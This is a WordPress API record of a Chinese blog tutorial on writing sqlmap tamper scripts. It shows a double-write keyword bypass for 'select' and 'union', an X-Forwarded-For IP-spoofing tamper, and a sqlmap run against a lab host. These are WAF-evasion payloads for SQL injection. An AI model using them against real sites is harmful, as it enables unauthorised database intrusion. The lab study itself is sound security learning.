{"id":88,"date":"2022-03-24T16:04:15","date_gmt":"2022-03-24T08:04:15","guid":{"rendered":"http:\/\/47.118.40.97:8082\/?p=88"},"modified":"2023-09-22T14:03:43","modified_gmt":"2023-09-22T06:03:43","slug":"sqlmap-tamper","status":"publish","type":"post","link":"http:\/\/danielw.top\/?p=88","title":{"rendered":"sqlmap tamper"},"content":{"rendered":"<h3>sqlmap tamper<\/h3>\n<h4>\u7b80\u5355\u4ecb\u7ecd<\/h4>\n<p>sqlmap\u7684<code>--tamper<\/code>\u53c2\u6570\u53ef\u4ee5\u5f15\u5165\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u811a\u672c\u6765\u4fee\u6539\u6ce8\u5165\u65f6\u7684payload\uff0c\u7531\u6b64\u53ef\u4ee5\u4f7f\u7528tamper\u6765\u7ed5\u8fc7waf\uff0c\u66ff\u6362\u88ab\u8fc7\u6ee4\u7684\u5173\u952e\u5b57\u7b49\uff0c\u4e0b\u9762\u662f\u4e00\u4e2a\u7b80\u5355\u7684tamper\u7ed3\u6784<\/p>\n<pre><code class=\"language-python\">from lib.core.enums import PRIORITY\n__priority__ = PRIORITY.LOW # \u5f53\u524d\u811a\u672c\u8c03\u7528\u4f18\u5148\u7b49\u7ea7\n\ndef dependencies(): # \u58f0\u660e\u5f53\u524d\u811a\u672c\u9002\u7528\/\u4e0d\u9002\u7528\u7684\u8303\u56f4\uff0c\u53ef\u4ee5\u4e3a\u7a7a\u3002\n    pass\n\ndef tamper(payload, **kwargs): # \u7528\u4e8e\u7be1\u6539Payload\u3001\u4ee5\u53ca\u8bf7\u6c42\u5934\u7684\u4e3b\u8981\u51fd\u6570\n    return payload\n<\/code><\/pre>\n<p>\u53ea\u9700\u8981\u5c06\u4ee3\u7801\u4fdd\u5b58\u4e3amy.py\u653e\u5165sqlmap\\tamper\u8def\u5f84\u4e0b\uff0c\u4f7f\u7528\u7684\u65f6\u5019\u52a0\u4e0a\u53c2\u6570  --tamper=my\u5c31\u53ef\u4ee5\u4f7f\u7528\u4e86<\/p>\n<p>sqlmap\u4e2d\u5e26\u6709\u5f88\u591atamper<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220324152711213.png\" alt=\"image-20220324152711213\" \/><\/p>\n<h4>\u7b80\u5355\u5206\u6790<\/h4>\n<p>\u4e0b\u9762\u662f\u5b98\u65b9\u7684\u4e00\u4e2atamper<\/p>\n<pre><code class=\"language-python\">import random\n\nfrom lib.core.compat import xrange\nfrom lib.core.enums import PRIORITY\n\n__priority__ = PRIORITY.NORMAL\n\ndef dependencies():\n    pass\n\ndef randomIP():\n    numbers = []\n\n    while not numbers or numbers[0] in (10, 172, 192):\n        numbers = random.sample(xrange(1, 255), 4)\n\n    return &#039;.&#039;.join(str(_) for _ in numbers)\n\ndef tamper(payload, **kwargs):\n    &quot;&quot;&quot;\n    Append a fake HTTP header &#039;X-Forwarded-For&#039;\n    &quot;&quot;&quot;\n\n    headers = kwargs.get(&quot;headers&quot;, {})\n    headers[&quot;X-Forwarded-For&quot;] = randomIP()\n    headers[&quot;X-Client-Ip&quot;] = randomIP()\n    headers[&quot;X-Real-Ip&quot;] = randomIP()\n    return payload<\/code><\/pre>\n<p>\u5206\u4e3a\u4e86import\u90e8\u5206\u3001<code>__priority__<\/code> \u5c5e\u6027\u3001dependencies\u51fd\u6570\u3001tamper\u51fd\u6570\u4ee5\u53ca\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u51fd\u6570<\/p>\n<h5>import<\/h5>\n<p>\u8fd9\u4e00\u90e8\u5206\u53ef\u4ee5\u5bfc\u5165sqlmap\u7684\u5185\u90e8\u5e93<\/p>\n<h5>PRIORITY<\/h5>\n<p>PRIORITY\u662f\u5b9a\u4e49tamper\u7684\u4f18\u5148\u7ea7\uff0cPRIORITY\u6709\u4ee5\u4e0b\u51e0\u4e2a\u53c2\u6570:<\/p>\n<ul>\n<li>LOWEST = -100<\/li>\n<li>LOWER = -50<\/li>\n<li>LOW = -10<\/li>\n<li>NORMAL = 0<\/li>\n<li>HIGH = 10<\/li>\n<li>HIGHER = 50<\/li>\n<li>HIGHEST = 100<\/li>\n<\/ul>\n<p>\u5982\u679c\u4f7f\u7528\u4e86\u591a\u4e2atamper\uff0csqlmap\u5c31\u4f1a\u6839\u636e\u6bcf\u4e2atamper\u5b9a\u4e49PRIORITY\u7684\u53c2\u6570\u7b49\u7ea7\u6765\u4f18\u5148\u4f7f\u7528\u7b49\u7ea7\u8f83\u9ad8\u7684tamper<\/p>\n<h5>dependencies<\/h5>\n<p>dependencies\u4e3b\u8981\u662f\u63d0\u793a\u7528\u6237\uff0c\u8fd9\u4e2atamper\u652f\u6301\u54ea\u4e9b\u6570\u636e\u5e93\uff0c\u5177\u4f53\u4ee3\u7801\u5982\u4e0b:<\/p>\n<pre><code class=\"language-python\">from lib.core.enums import PRIORITY\nfrom lib.core.common import singleTimeWarnMessage\nfrom lib.core.enums import DBMS\n\n__priority__ = PRIORITY.NORMAL\n\ndef dependencies():\n    singleTimeWarnMessage(&quot;\u8fd9\u662f\u6211\u7684tamper\u63d0\u793a&quot;)\n\ndef tamper(payload, **kwargs):\n    return payload\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220324153115146.png\" alt=\"image-20220324153115146\" \/><\/p>\n<h5>Tamper<\/h5>\n<p>tamper\u8fd9\u4e2a\u51fd\u6570\u662ftamper\u6700\u91cd\u8981\u7684\u51fd\u6570\uff0c\u8981\u5b9e\u73b0\u7684\u529f\u80fd\uff0c\u5168\u90e8\u5199\u5728\u8fd9\u4e2a\u51fd\u6570\u91cc\u3002payload\u8fd9\u4e2a\u53c2\u6570\u5c31\u662fsqlmap\u7684\u539f\u59cb\u6ce8\u5165payload\uff0c\u8981\u5b9e\u73b0\u7ed5\u8fc7\uff0c\u4e00\u822c\u5c31\u662f\u9488\u5bf9\u8fd9\u4e2apayload\u7684\u4fee\u6539\u3002kwargs\u662f\u9488\u5bf9http\u5934\u90e8\u7684\u4fee\u6539\uff0c\u5982\u679cbypass\uff0c\u662f\u901a\u8fc7\u4fee\u6539http\u5934\uff0c\u5c31\u9700\u8981\u7528\u5230\u8fd9\u4e2a<\/p>\n<h4>\u57fa\u4e8epayload<\/h4>\n<h5>\u53cc\u5199\u7ed5\u8fc7<\/h5>\n<pre><code class=\"language-python\">def tamper(payload, **kwargs):  #\u5bf9select\u548cunion\u8fdb\u884c\u4e86\u53cc\u5199\u7ed5\u8fc7\n    payload = payload.lower()\n    payload = payload.replace(&#039;select&#039;,&#039;seleselectct&#039;)\n    payload = payload.replace(&#039;union&#039;,&#039;ununionion&#039;)\n    return payload<\/code><\/pre>\n<h5>\u6d4b\u8bd5<\/h5>\n<p>\u4e0d\u52a0tamper\u8fdb\u884c\u6d4b\u8bd5\uff0c\u4f7f\u7528BP\u6293\u5305\u8fdb\u884c\u67e5\u770b\u3002<code>\u4f7f\u7528--tech=U<\/code>\u6765\u8ba9sqlmap\u53ea\u6d4b\u8bd5\u8054\u5408\u67e5\u8be2\u6ce8\u5165\uff0c<code>--flush-session<\/code>\u610f\u601d\u662f\u6bcf\u6b21\u5237\u65b0\u4f1a\u8bdd\uff0c\u6e05\u7406\u4e0a\u6b21\u7684\u7f13\u5b58<\/p>\n<pre><code class=\"language-shell\">sqlmap -u http:\/\/10.5.62.41:8082\/Less-1\/?id=1 --tech=U --flush-session --proxy=http:\/\/127.0.0.1:8081 --random-agent --dbms=mysql<\/code><\/pre>\n<p>\u6ca1\u4f7f\u7528tamper\u4e4b\u524d\u89c2\u5bdf\u8bf7\u6c42\uff0c\u672a\u8fdb\u884c\u53cc\u5199<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220324155719947.png\" alt=\"image-20220324155719947\" \/><\/p>\n<p>\u4f7f\u7528tamper\u540e\u89c2\u5bdf\u8bf7\u6c42\uff0c\u8fdb\u884c\u4e86\u6307\u5b9a\u7684\u53cc\u5199\u7ed5\u8fc7<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220324155849566.png\" alt=\"image-20220324155849566\" \/><\/p>\n<h4>\u57fa\u4e8ehttp\u5934<\/h4>\n<p>\u4f7f\u7528<code>sqlmap\\tamper\\xforwardedfor.py<\/code>\u7684tamper\u6765\u8bb2\u89e3<\/p>\n<pre><code class=\"language-python\">def tamper(payload, **kwargs):\n    &quot;&quot;&quot;\n    Append a fake HTTP header &#039;X-Forwarded-For&#039;\n    &quot;&quot;&quot;\n\n    headers = kwargs.get(&quot;headers&quot;, {})\n    headers[&quot;X-Forwarded-For&quot;] = randomIP()\n    headers[&quot;X-Client-Ip&quot;] = randomIP()\n    headers[&quot;X-Real-Ip&quot;] = randomIP()\n    return payload\n<\/code><\/pre>\n<p>\u4ece<code>kwargs<\/code>\u4e2d\u53d6\u51fa<code>headers<\/code>\u6570\u7ec4\uff0c\u7136\u540e\u4fee\u6539\u4e86xff\u503c\u8fbe\u5230\u968f\u673aIP\u7684\u6548\u679c\uff0c\u4e0d\u518d\u8d58\u8ff0<\/p>\n<blockquote>\n<p>\u53c2\u8003\u6587\u7ae0\uff1a<a href=\"https:\/\/y4er.com\/post\/sqlmap-tamper\/\" target=\"_blank\"  rel=\"nofollow\" >https:\/\/y4er.com\/post\/sqlmap-tamper\/<\/a><\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>sqlmap tamper \u7b80\u5355\u4ecb\u7ecd sqlmap\u7684&#8211;tamper\u53c2\u6570\u53ef\u4ee5\u5f15\u5165\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u811a\u672c\u6765\u4fee\u6539\u6ce8\u5165\u65f6\u7684payload\uff0c\u7531\u6b64 &#8230","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-88","post","type-post","status-publish","format-standard","hentry","category-3"],"_links":{"self":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/88","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=88"}],"version-history":[{"count":2,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/88\/revisions"}],"predecessor-version":[{"id":137,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/88\/revisions\/137"}],"wp:attachment":[{"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=88"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=88"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=88"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}